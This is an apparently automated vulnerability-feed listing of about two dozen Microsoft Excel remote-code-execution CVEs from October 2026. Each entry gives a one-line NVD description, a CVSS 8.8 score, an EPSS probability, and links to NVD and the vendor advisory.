Sources:
NVD CVE-2026-97761: https://nvd.nist.gov/vuln/detail/CVE-2026-97761
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97761
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97761&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97759
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97759).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97759&date=2026-10-25).
Sources:
NVD CVE-2026-97759: https://nvd.nist.gov/vuln/detail/CVE-2026-97759
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97759&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97758
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97758).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97758&date=2026-10-25).
Sources:
NVD CVE-2026-97758: https://nvd.nist.gov/vuln/detail/CVE-2026-97758
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97758&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97757
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97757).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97757&date=2026-10-25).
Sources:
NVD CVE-2026-97757: https://nvd.nist.gov/vuln/detail/CVE-2026-97757
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97757&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97756
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97756).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97756&date=2026-10-25).
Sources:
NVD CVE-2026-97756: https://nvd.nist.gov/vuln/detail/CVE-2026-97756
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97756&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97755
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97755).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97755&date=2026-10-25).
Sources:
NVD CVE-2026-97755: https://nvd.nist.gov/vuln/detail/CVE-2026-97755
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97755&date=2026-10-25
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97754
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97754).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97754&date=2026-10-25).
Sources:
NVD CVE-2026-97754: https://nvd.nist.gov/vuln/detail/CVE-2026-97754
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97754
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97754&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97753
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97753).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97753&date=2026-10-25).
Sources:
NVD CVE-2026-97753: https://nvd.nist.gov/vuln/detail/CVE-2026-97753
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97753&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97752
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97752).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97752&date=2026-10-25).
Sources:
NVD CVE-2026-97752: https://nvd.nist.gov/vuln/detail/CVE-2026-97752
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97752
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97752&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97751
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97751).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97751&date=2026-10-25).
Sources:
NVD CVE-2026-97751: https://nvd.nist.gov/vuln/detail/CVE-2026-97751
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97751
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97751&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97750
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97750).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97750&date=2026-10-25).
Sources:
NVD CVE-2026-97750: https://nvd.nist.gov/vuln/detail/CVE-2026-97750
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97750
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97750&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97748
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97748).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97748&date=2026-10-25).
Sources:
NVD CVE-2026-97748: https://nvd.nist.gov/vuln/detail/CVE-2026-97748
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97748
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97748&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97747
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97747).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97747&date=2026-10-25).
Sources:
NVD CVE-2026-97747: https://nvd.nist.gov/vuln/detail/CVE-2026-97747
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97747
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97747&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97746
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97746).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97746&date=2026-10-25).
Sources:
NVD CVE-2026-97746: https://nvd.nist.gov/vuln/detail/CVE-2026-97746
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97746&date=2026-10-25
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97745
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97745).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97745&date=2026-10-25).
Sources:
NVD CVE-2026-97745: https://nvd.nist.gov/vuln/detail/CVE-2026-97745
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97745
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97745&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97742
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97742).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97742&date=2026-10-25).
Sources:
NVD CVE-2026-97742: https://nvd.nist.gov/vuln/detail/CVE-2026-97742
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97742
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97742&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97741
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97741).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97741&date=2026-10-25).
Sources:
NVD CVE-2026-97741: https://nvd.nist.gov/vuln/detail/CVE-2026-97741
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97741&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97739
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97739).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97739&date=2026-10-25).
Sources:
NVD CVE-2026-97739: https://nvd.nist.gov/vuln/detail/CVE-2026-97739
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97739
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97739&date=2026-10-25
Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97738
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97738).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97738&date=2026-10-25).
Sources:
NVD CVE-2026-97738: https://nvd.nist.gov/vuln/detail/CVE-2026-97738
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97738
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97738&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97017
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97017).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97017&date=2026-10-25).
Sources:
NVD CVE-2026-97017: https://nvd.nist.gov/vuln/detail/CVE-2026-97017
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97017&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97011
Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97011).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97011&date=2026-10-25).
Sources:
NVD CVE-2026-97011: https://nvd.nist.gov/vuln/detail/CVE-2026-97011
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97011&date=2026-10-25
Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97010
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97010).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97010&date=2026-10-25).
Sources:
NVD CVE-2026-97010: https://nvd.nist.gov/vuln/detail/CVE-2026-97010
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97010&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97008
Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97008).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97008&date=2026-10-25).
Sources:
NVD CVE-2026-97008: https://nvd.nist.gov/vuln/detail/CVE-2026-97008
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97008&date=2026-10-25
Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

